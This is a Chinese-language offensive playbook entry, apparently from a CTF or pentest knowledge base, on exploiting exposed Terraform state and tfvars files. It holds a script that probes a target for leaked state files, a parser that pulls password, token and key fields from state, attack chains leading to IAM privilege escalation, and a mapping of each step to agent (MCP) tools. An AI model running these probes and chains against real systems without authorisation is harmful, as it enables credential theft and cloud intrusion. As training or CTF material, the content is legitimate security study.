Terraform State 与 IaC 凭证泄露

场景

目标暴露了 .tfstate、terraform.tfvars、.terraform/、CI artifact 或 plan 输出。Terraform state 常保存资源 ID、连接串、明文 output、随机密码结果和云资源依赖关系，是从源码泄露走向云资源访问的重要桥。

输入信号

• Web 目录或 artifact 中出现 terraform.tfstate
• Git 仓库包含 backend "s3"、backend "azurerm"、backend "gcs"
• CI 日志包含 terraform plan / terraform output
• *.tfvars、.terraform.lock.hcl、crash.log 暴露
• state JSON 中出现 sensitive_values 或 provider credential

泄露文件探测

# terraform_leak_probe.py - 只探测公开路径，不爆破
import requests

COMMON = [
    "/terraform.tfstate",
    "/terraform.tfstate.backup",
    "/.terraform/terraform.tfstate",
    "/terraform.tfvars",
    "/prod.tfvars",
    "/crash.log",
]

def probe(base):
    for path in COMMON:
        url = base.rstrip("/") + path
        r = requests.get(url, timeout=5)
        if r.status_code == 200 and ("terraform" in r.text.lower() or "resources" in r.text[:500]):
            print("[hit]", url, len(r.text))

probe("https://target.example")

State 快速拆解

# tfstate_paths.py - 拆 state，找下一跳资源和敏感字段
import json
from pathlib import Path

SENSITIVE_KEYS = ("password", "secret", "token", "key", "credential", "connection_string")

state = json.loads(Path("terraform.tfstate").read_text(encoding="utf-8"))
for res in state.get("resources", []):
    rtype = res.get("type")
    name = res.get("name")
    for inst in res.get("instances", []):
        attrs = inst.get("attributes", {})
        hits = [k for k in attrs if any(s in k.lower() for s in SENSITIVE_KEYS)]
        if hits:
            print(f"[sensitive-field] {rtype}.{name}: {hits}")
        if rtype in ("aws_iam_role", "aws_lambda_function", "aws_s3_bucket", "kubernetes_secret"):
            print(f"[resource] {rtype}.{name}")

后端配置分析

terraform {
  backend "s3" {
    bucket = "example-tfstate"
    key    = "prod/terraform.tfstate"
    region = "us-east-1"
  }
}

后端配置本身不一定是凭证，但它给出云账号、bucket、路径和环境命名。结合泄露 IAM 凭证时，可快速定位 state 存储位置。

攻击链

Git leak → backend config → S3 tfstate → output password → DB/Flag
CI artifact → terraform plan → resource topology → API Gateway/Lambda/S3 目标定位
tfstate → aws_iam_role / policy → PassRole 边 → IAM 提权
tfvars leak → provider credential → sts:GetCallerIdentity → 云资源枚举

Evidence

记录: 泄露文件路径、state serial/lineage、资源类型统计、敏感字段名、output 名称、backend 位置、可直接访问的云资源。

MCP 工具映射

攻击步骤	MCP 工具	说明
公开路径探测	http_probe	探测 tfstate/tfvars/artifact 是否暴露
知识检索	kb_router	按 Terraform / tfstate / IaC 信号搜索
State 拆解脚本	run_ctf_tool	对 state 做敏感字段和资源拓扑统计